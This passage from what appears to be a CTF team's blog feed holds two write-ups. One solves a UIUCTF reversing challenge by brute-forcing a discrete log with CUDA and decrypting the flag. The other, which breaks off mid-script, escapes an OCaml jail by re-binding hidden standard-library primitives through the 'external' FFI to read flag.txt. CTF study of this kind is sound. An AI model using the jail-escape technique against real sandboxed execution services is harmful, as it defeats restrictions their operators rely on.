</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">print_flag</span>(v4);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>First we take a look to the <code>print_flag</code> function to see that it takes our input as &ldquo;key&rdquo; to decrypt the flag and print it</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int64</span> <span style="color:#fc5fa3">__fastcall</span> <span style="color:#41a1c0">print_flag</span>(<span style="color:#fc5fa3">__int64</span> a1)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">int</span> i; <span style="color:#6c7986">// [rsp+1Ch] [rbp-44h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  _DWORD v3[<span style="color:#d0bf69">14</span>]; <span style="color:#6c7986">// [rsp+20h] [rbp-40h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int64</span> v4; <span style="color:#6c7986">// [rsp+58h] [rbp-8h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  v4 = <span style="color:#41a1c0">__readfsqword</span>(<span style="color:#d0bf69">0x28u</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">for</span> ( i = <span style="color:#d0bf69">0</span>; i &lt;= <span style="color:#d0bf69">7</span>; ++i )
</span></span><span style="display:flex;"><span>    v3[i] = <span style="color:#41a1c0">F</span>(flag_enc[i], *(<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">int</span> *)(<span style="color:#d0bf69">4LL</span> * i + a1), <span style="color:#d0bf69">0xFFFFFF2FLL</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;sigpwny{%s}&#34;</span>, (<span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> *)v3);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> v4 - <span style="color:#41a1c0">__readfsqword</span>(<span style="color:#d0bf69">0x28u</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>We can now check the content of the function <code>F</code>, discovering that it is the fast exponentiation function</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">__int64</span> <span style="color:#fc5fa3">__fastcall</span> <span style="color:#41a1c0">F</span>(<span style="color:#fc5fa3">__int64</span> a1, <span style="color:#fc5fa3">__int64</span> a2, <span style="color:#fc5fa3">__int64</span> a3)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int64</span> v5; <span style="color:#6c7986">// [rsp+18h] [rbp-10h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int64</span> v6; <span style="color:#6c7986">// [rsp+20h] [rbp-8h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  v5 = <span style="color:#d0bf69">1LL</span>;
</span></span><span style="display:flex;"><span>  v6 = a1 % a3;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">while</span> ( a2 &gt; <span style="color:#d0bf69">0</span> )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> ( (a2 &amp; <span style="color:#d0bf69">1</span>) != <span style="color:#d0bf69">0</span> )
</span></span><span style="display:flex;"><span>      v5 = v6 * v5 % a3;
</span></span><span style="display:flex;"><span>    v6 = v6 * v6 % a3;
</span></span><span style="display:flex;"><span>    a2 &gt;&gt;= <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> v5;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Now we can finally see the <code>check_input</code> function</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">__int64</span> <span style="color:#fc5fa3">__fastcall</span> <span style="color:#41a1c0">check_input</span>(<span style="color:#fc5fa3">__int64</span> a1)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">int</span> i; <span style="color:#6c7986">// [rsp+10h] [rbp-8h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">for</span> ( i = <span style="color:#d0bf69">0</span>; i &lt;= <span style="color:#d0bf69">7</span>; ++i )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> ( (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">int</span>)<span style="color:#41a1c0">F</span>(test_pt[i], *(<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">int</span> *)(<span style="color:#d0bf69">4LL</span> * i + a1), <span style="color:#d0bf69">0xFFFFFF2FLL</span>) != test_ct[i] )
</span></span><span style="display:flex;"><span>      <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">0LL</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">1LL</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>As we can see, it&rsquo;s doing <code>pow(test_pt[i], a1[i], 0xFFFFFF2FLL) != test_ct[i]</code> where <code>a1</code> are 4 bytes of the key, so now we can take the constants from IDA</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>.rodata:<span style="color:#d0bf69">0000000000002040</span>                 public test_pt
</span></span><span style="display:flex;"><span>.rodata:<span style="color:#d0bf69">0000000000002040</span> ; <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">int</span> test_pt[<span style="color:#d0bf69">8</span>]
</span></span><span style="display:flex;"><span>.rodata:<span style="color:#d0bf69">0000000000002040</span> test_pt         dd <span style="color:#d0bf69">2265</span>B1F5h, <span style="color:#d0bf69">91</span>B7584Ah, <span style="color:#d0bf69">0</span>D8F16ADFh, <span style="color:#d0bf69">0</span>CD613E30h, <span style="color:#d0bf69">0</span>C386BBC4h
</span></span><span style="display:flex;"><span>.rodata:<span style="color:#d0bf69">0000000000002040</span>                                         ; DATA XREF: check_input+<span style="color:#d0bf69">45</span><span style="color:#960050">↑</span>o
</span></span><span style="display:flex;"><span>.rodata:<span style="color:#d0bf69">0000000000002054</span>                 dd <span style="color:#d0bf69">1027</span>C4D1h, <span style="color:#d0bf69">414</span>C343Ch, <span style="color:#d0bf69">1E2</span>FEB89h
</span></span><span style="display:flex;"><span>.rodata:<span style="color:#d0bf69">0000000000002060</span>                 public test_ct
</span></span><span style="display:flex;"><span>.rodata:<span style="color:#d0bf69">0000000000002060</span> ; _DWORD test_ct[<span style="color:#d0bf69">8</span>]
</span></span><span style="display:flex;"><span>.rodata:<span style="color:#d0bf69">0000000000002060</span> test_ct         dd <span style="color:#d0bf69">0</span>DC44BF5Eh, <span style="color:#d0bf69">5</span>AFF1CECh, <span style="color:#d0bf69">0E1</span>E9B4C2h, <span style="color:#d0bf69">1329</span>B92h, <span style="color:#d0bf69">8F</span><span style="color:#d0bf69">9</span>CA92Ah
</span></span><span style="display:flex;"><span>.rodata:<span style="color:#d0bf69">0000000000002060</span>                                         ; DATA XREF: check_input+<span style="color:#d0bf69">6F</span><span style="color:#960050">↑</span>o
</span></span><span style="display:flex;"><span>.rodata:<span style="color:#d0bf69">0000000000002074</span>                 dd <span style="color:#d0bf69">0E45</span>C5B4h, <span style="color:#d0bf69">604</span>A4B91h, <span style="color:#d0bf69">7081</span>EB59h
</span></span><span style="display:flex;"><span>.rodata:<span style="color:#d0bf69">00000000000020</span><span style="color:#d0bf69">80</span>                 public flag_enc
</span></span><span style="display:flex;"><span>.rodata:<span style="color:#d0bf69">00000000000020</span><span style="color:#d0bf69">80</span> ; <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">int</span> flag_enc[<span style="color:#d0bf69">8</span>]
</span></span><span style="display:flex;"><span>.rodata:<span style="color:#d0bf69">00000000000020</span><span style="color:#d0bf69">80</span> flag_enc        dd <span style="color:#d0bf69">24189111</span>h, <span style="color:#d0bf69">0F</span>D94E945h, <span style="color:#d0bf69">1</span>B9F64A6h, <span style="color:#d0bf69">7F</span>ECE9A3h, <span style="color:#d0bf69">0F</span>C2A0EDEh
</span></span><span style="display:flex;"><span>.rodata:<span style="color:#d0bf69">00000000000020</span><span style="color:#d0bf69">80</span>                                         ; DATA XREF: print_flag+<span style="color:#d0bf69">54</span><span style="color:#960050">↑</span>o
</span></span><span style="display:flex;"><span>.rodata:<span style="color:#d0bf69">00000000000020</span><span style="color:#d0bf69">94</span>                 dd <span style="color:#d0bf69">576</span>EDCF5h, <span style="color:#d0bf69">1E44</span>C9Ch, <span style="color:#d0bf69">658</span>AF790h
</span></span></code></pre></div><p>now, we know that we should do a discrete log, but I&rsquo;m a revver, not a cryptoer, so I can do it in another way&hellip;. Bruteforce with CUDA 🔥</p>
<h2 id="solve">Solve</h2>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span><span style="color:#fd8f3f">#include</span> <span style="color:#fd8f3f">&lt;iostream&gt;</span><span style="color:#fd8f3f">
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#include</span> <span style="color:#fd8f3f">&lt;cuda.h&gt;</span><span style="color:#fd8f3f">
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f">#include</span> <span style="color:#fd8f3f">&lt;curand_kernel.h&gt;</span><span style="color:#fd8f3f">
</span></span></span><span style="display:flex;"><span><span style="color:#fd8f3f"></span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">typedef</span> <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">long</span> <span style="color:#fc5fa3">long</span> ull;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>__device__ ull test_pt[] = {<span style="color:#d0bf69">0x2265B1F5LL</span>, <span style="color:#d0bf69">0x91B7584ALL</span>, <span style="color:#d0bf69">0x0D8F16ADFLL</span>, <span style="color:#d0bf69">0x0CD613E30LL</span>, <span style="color:#d0bf69">0x0C386BBC4LL</span>, <span style="color:#d0bf69">0x1027C4D1LL</span>, <span style="color:#d0bf69">0x414C343CLL</span>, <span style="color:#d0bf69">0x1E2FEB89LL</span>};
</span></span><span style="display:flex;"><span>__device__ ull test_ct[] = {<span style="color:#d0bf69">0x0DC44BF5ELL</span>, <span style="color:#d0bf69">0x5AFF1CECLL</span>, <span style="color:#d0bf69">0x0E1E9B4C2LL</span>, <span style="color:#d0bf69">0x1329B92LL</span>, <span style="color:#d0bf69">0x8F9CA92ALL</span>, <span style="color:#d0bf69">0x0E45C5B4LL</span>, <span style="color:#d0bf69">0x604A4B91LL</span>, <span style="color:#d0bf69">0x7081EB59LL</span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>__device__ ull <span style="color:#41a1c0">F</span>(ull a1, ull a2, ull a3) {
</span></span><span style="display:flex;"><span>	ull v5;
</span></span><span style="display:flex;"><span>	ull v6;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	v5 = <span style="color:#d0bf69">1LL</span>;
</span></span><span style="display:flex;"><span>	v6 = a1 % a3;
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">while</span> ( a2 &gt; <span style="color:#d0bf69">0</span> )
</span></span><span style="display:flex;"><span>	{
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> ( (a2 &amp; <span style="color:#d0bf69">1</span>) != <span style="color:#d0bf69">0</span> )
</span></span><span style="display:flex;"><span>			v5 = v6 * v5 % a3;
</span></span><span style="display:flex;"><span>		v6 = v6 * v6 % a3;
</span></span><span style="display:flex;"><span>		a2 &gt;&gt;= <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">return</span> v5;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>__global__ <span style="color:#fc5fa3">void</span>	<span style="color:#41a1c0">brute</span>() {
</span></span><span style="display:flex;"><span>	ull exp = threadIdx.x + (blockIdx.x + (blockIdx.y + blockIdx.z * <span style="color:#d0bf69">256</span>) * <span style="color:#d0bf69">256</span>) * <span style="color:#d0bf69">256</span>;
</span></span><span style="display:flex;"><span>	<span style="color:#fc5fa3">for</span> ( <span style="color:#fc5fa3">int</span> i = <span style="color:#d0bf69">0</span>; i &lt;= <span style="color:#d0bf69">7</span>; ++i ){
</span></span><span style="display:flex;"><span>		<span style="color:#fc5fa3">if</span> (F(test_pt[i], exp, <span style="color:#d0bf69">0xFFFFFF2FLL</span>) == test_ct[i] ) {
</span></span><span style="display:flex;"><span>			printf(<span style="color:#fc6a5d">&#34;Found: %d %016llx</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, i, exp);
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#41a1c0">main</span>() {
</span></span><span style="display:flex;"><span>	dim3	blocks(<span style="color:#d0bf69">256</span>, <span style="color:#d0bf69">256</span>, <span style="color:#d0bf69">256</span>);
</span></span><span style="display:flex;"><span>	dim3	threads(<span style="color:#d0bf69">256</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	brute&lt;&lt;&lt;blocks, threads&gt;&gt;&gt;();
</span></span><span style="display:flex;"><span>	cudaGetLastError();
</span></span><span style="display:flex;"><span>	cudaDeviceSynchronize();
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This will output the following:</p>
<pre tabindex="0"><code>Found: 4 0000000035bf992d
Found: 5 0000000063ca828d
Found: 1 000000007311d8a3
Found: 2 0000000078e51061
Found: 0 000000007ed4d57b
Found: 3 00000000a6cecc1b
Found: 6 00000000c324c985
Found: 7 00000000c4647159
Found: 2 00000000f8e50ff8
</code></pre><p>We can now take them (except the duplicate for &ldquo;2&rdquo;) and win</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>found = [<span style="color:#fc5fa3">None</span>] * <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>found[<span style="color:#d0bf69">4</span>] = <span style="color:#d0a8ff">int</span>(<span style="color:#fc6a5d">&#34;35bf992d&#34;</span>, <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>found[<span style="color:#d0bf69">5</span>] = <span style="color:#d0a8ff">int</span>(<span style="color:#fc6a5d">&#34;63ca828d&#34;</span>, <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>found[<span style="color:#d0bf69">1</span>] = <span style="color:#d0a8ff">int</span>(<span style="color:#fc6a5d">&#34;7311d8a3&#34;</span>, <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>found[<span style="color:#d0bf69">2</span>] = <span style="color:#d0a8ff">int</span>(<span style="color:#fc6a5d">&#34;78e51061&#34;</span>, <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>found[<span style="color:#d0bf69">0</span>] = <span style="color:#d0a8ff">int</span>(<span style="color:#fc6a5d">&#34;7ed4d57b&#34;</span>, <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>found[<span style="color:#d0bf69">3</span>] = <span style="color:#d0a8ff">int</span>(<span style="color:#fc6a5d">&#34;a6cecc1b&#34;</span>, <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>found[<span style="color:#d0bf69">6</span>] = <span style="color:#d0a8ff">int</span>(<span style="color:#fc6a5d">&#34;c324c985&#34;</span>, <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span>found[<span style="color:#d0bf69">7</span>] = <span style="color:#d0a8ff">int</span>(<span style="color:#fc6a5d">&#34;c4647159&#34;</span>, <span style="color:#d0bf69">16</span>)
</span></span><span style="display:flex;"><span><span style="color:#6c7986"># found[2] = int(&#34;f8e50ff8&#34;, 16)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>enc = [<span style="color:#d0bf69">0x24189111</span>, <span style="color:#d0bf69">0xFD94E945</span>, <span style="color:#d0bf69">0x1B9F64A6</span>, <span style="color:#d0bf69">0x7FECE9A3</span>, <span style="color:#d0bf69">0xFC2A0EDE</span>, <span style="color:#d0bf69">0x576EDCF5</span>, <span style="color:#d0bf69">0x1E44C9C</span>, <span style="color:#d0bf69">0x658AF790</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;sigpwny{&#39;</span>, end=<span style="color:#fc6a5d">&#39;&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">8</span>):
</span></span><span style="display:flex;"><span>	block = <span style="color:#d0a8ff">hex</span>(<span style="color:#d0a8ff">pow</span>(enc[i], found[i], <span style="color:#d0bf69">0xFFFFFF2F</span>))[<span style="color:#d0bf69">2</span>:]
</span></span><span style="display:flex;"><span>	<span style="color:#d0a8ff">print</span>(<span style="color:#d0a8ff">bytes</span>.fromhex(block)[::-<span style="color:#d0bf69">1</span>].decode(), end=<span style="color:#fc6a5d">&#39;&#39;</span>)
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;}&#39;</span>)
</span></span></code></pre></div><p>Flag: <code>sigpwny{CrackingDiscreteLogs4TheFun/Lols}</code></p>
]]></content></item><item><title>UIUCTF 25 - nocaml</title><link>https://theromanxpl0.it/posts/2025/07/uiuctf-25-nocaml/</link><pubDate>Mon, 28 Jul 2025 11:21:17 +0200</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/07/uiuctf-25-nocaml/</guid><description>&lt;p>This is essentially an OCaml jail.&lt;/p>
&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>The challenge runs user provided OCaml source code (encoded in base64).
The compiler is invoked with the flag &lt;code>-open Nocaml&lt;/code>, that automatically imports
all the content of the module Nocaml into the scope of our code.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">#excerpt from go.sh...&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d0a8ff">read&lt;/span> -r line &amp;amp;&amp;amp; &lt;span style="color:#d0a8ff">echo&lt;/span> &lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>&lt;span style="color:#41a1c0">$line&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span> | base64 -d &amp;gt; &lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>&lt;span style="color:#41a1c0">$tmp_dir&lt;/span>&lt;span style="color:#fc6a5d">/code.ml&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ocamlc -o &lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>&lt;span style="color:#41a1c0">$tmp_dir&lt;/span>&lt;span style="color:#fc6a5d">/out&amp;#34;&lt;/span> -open Nocaml &lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>&lt;span style="color:#41a1c0">$tmp_dir&lt;/span>&lt;span style="color:#fc6a5d">/code.ml&amp;#34;&lt;/span> &amp;amp;&amp;amp; &lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>&lt;span style="color:#41a1c0">$tmp_dir&lt;/span>&lt;span style="color:#fc6a5d">/out&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In &lt;code>nocaml.ml&lt;/code> we can see that all the values of the standard
library are rebound to the unit type (&lt;code>()&lt;/code>).
Once those identifiers are shadowed we have no way to reach them.&lt;/p></description><content type="html"><![CDATA[<p>This is essentially an OCaml jail.</p>
<h2 id="overview">Overview</h2>
<p>The challenge runs user provided OCaml source code (encoded in base64).
The compiler is invoked with the flag <code>-open Nocaml</code>, that automatically imports
all the content of the module Nocaml into the scope of our code.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#6c7986">#excerpt from go.sh...</span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">read</span> -r line &amp;&amp; <span style="color:#d0a8ff">echo</span> <span style="color:#fc6a5d">&#34;</span><span style="color:#41a1c0">$line</span><span style="color:#fc6a5d">&#34;</span> | base64 -d &gt; <span style="color:#fc6a5d">&#34;</span><span style="color:#41a1c0">$tmp_dir</span><span style="color:#fc6a5d">/code.ml&#34;</span>
</span></span><span style="display:flex;"><span>ocamlc -o <span style="color:#fc6a5d">&#34;</span><span style="color:#41a1c0">$tmp_dir</span><span style="color:#fc6a5d">/out&#34;</span> -open Nocaml <span style="color:#fc6a5d">&#34;</span><span style="color:#41a1c0">$tmp_dir</span><span style="color:#fc6a5d">/code.ml&#34;</span> &amp;&amp; <span style="color:#fc6a5d">&#34;</span><span style="color:#41a1c0">$tmp_dir</span><span style="color:#fc6a5d">/out&#34;</span>
</span></span></code></pre></div><p>In <code>nocaml.ml</code> we can see that all the values of the standard
library are rebound to the unit type (<code>()</code>).
Once those identifiers are shadowed we have no way to reach them.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ocaml" data-lang="ocaml"><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> <span style="color:#fc5fa3">raise</span> = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> raise_notrace = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> invalid_arg = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> failwith = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> ( = ) = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> ( &lt;&gt; ) = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> ( &lt; ) = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> ( &gt; ) = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> ( &lt;= ) = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> ( &gt;= ) = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> compare = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> min = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> max = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> ( == ) = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> ( != ) = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> not = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> ( &amp;&amp; ) = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> ( || ) = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> __LOC__ = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> __FILE__ = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> __LINE__ = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">let</span> __MODULE__ = <span style="color:#a167e6">()</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">(* and so on ... *)</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">module</span> <span style="color:#5dd8ff">Stdlib</span> = <span style="color:#fc5fa3">struct</span> <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">module</span> <span style="color:#5dd8ff">String</span> = <span style="color:#fc5fa3">struct</span> <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">module</span> <span style="color:#5dd8ff">StringLabels</span> = <span style="color:#fc5fa3">struct</span> <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">module</span> <span style="color:#5dd8ff">Sys</span> = <span style="color:#fc5fa3">struct</span> <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">module</span> <span style="color:#5dd8ff">Type</span> = <span style="color:#fc5fa3">struct</span> <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span><span style="color:#6c7986">(* and so on ... *)</span>
</span></span></code></pre></div><p>As usual, the objective is reading the file <code>flag.txt</code>.</p>
<h2 id="exploitation">Exploitation</h2>
<p>The first thing that came to mind was using <code>Pervasives</code> (the old name of the <code>Stdlib</code> module).
Unfortunately newer versions of OCaml removed this alias.</p>
<p>At this point I went for the foreign function interface.
With the use of the <code>external</code> keyword, it&rsquo;s possible to declare
and invoke functions from the C ABI.</p>
<p>We don&rsquo;t have a way to create new foreign functions, but we don&rsquo;t really need to!
The <code>Stdlib</code> is always compiled and linked, even if we can&rsquo;t access it from the code.
This means that plenty of internal functions can be brought back with the FFI.</p>
<p>By diving into the <a href="https://github.com/ocaml/ocaml/tree/trunk/stdlib">standard library code</a>
I found some useful IO primitives:</p>
<ul>
<li><code>caml_sys_open</code> to open a file descriptor</li>
<li><code>caml_ml_open_descriptor_out</code> and <code>caml_ml_open_descriptor_in</code> to create channels from fds</li>
<li><code>caml_ml_output_char</code> and <code>caml_ml_input_char</code> to read and write chars</li>
</ul>
<p>The script I used to get the flag is the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ocaml" data-lang="ocaml"><span style="display:flex;"><span><span style="color:#6c7986">(* directly from Stdlib *)</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">type</span> open_flag =
</span></span><span style="display:flex;"><span>    <span style="color:#5dd8ff">Open_rdonly</span> | <span style="color:#5dd8ff">Open_wronly</span> | <span style="color:#5dd8ff">Open_append</span>
</span></span><span style="display:flex;"><span>  | <span style="color:#5dd8ff">Open_creat</span> | <span style="color:#5dd8ff">Open_trunc</span> | <span style="color:#5dd8ff">Open_excl</span>
</span></span><span style="display:flex;"><span>  | <span style="color:#5dd8ff">Open_binary</span> | <span style="color:#5dd8ff">Open_text</span> | <span style="color:#5dd8ff">Open_nonblock</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">external</span> open_desc : <span style="color:#fc5fa3">string</span> -&gt; open_flag <span style="color:#fc5fa3">list</span> -&gt; <span style="color:#fc5fa3">int</span> -&gt; <span style="color:#fc5fa3">int</span> = <span style="color:#fc6a5d">&#34;caml_sys_open&#34;</span>;;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">external</span> open_descriptor_out : <span style="color:#fc5fa3">int</span> -&gt; out_channel = <span style="color:#fc6a5d">&#34;caml_ml_open_descriptor_out&#34;</span>;;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">external</span> open_descriptor_in : <span style="color:#fc5fa3">int</span> -&gt; in_channel = <span style="color:#fc6a5d">&#34;caml_ml_open_descriptor_in&#34;</span>;;
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">external</span> output_char : out_channel -&gt; <span style="color:#fc5fa3">char</span> -&gt; <span style="color:#fc5fa3">unit</span> = <span style="color:#fc6a5d">&#34;caml_ml_output_char&#34;</span>;;
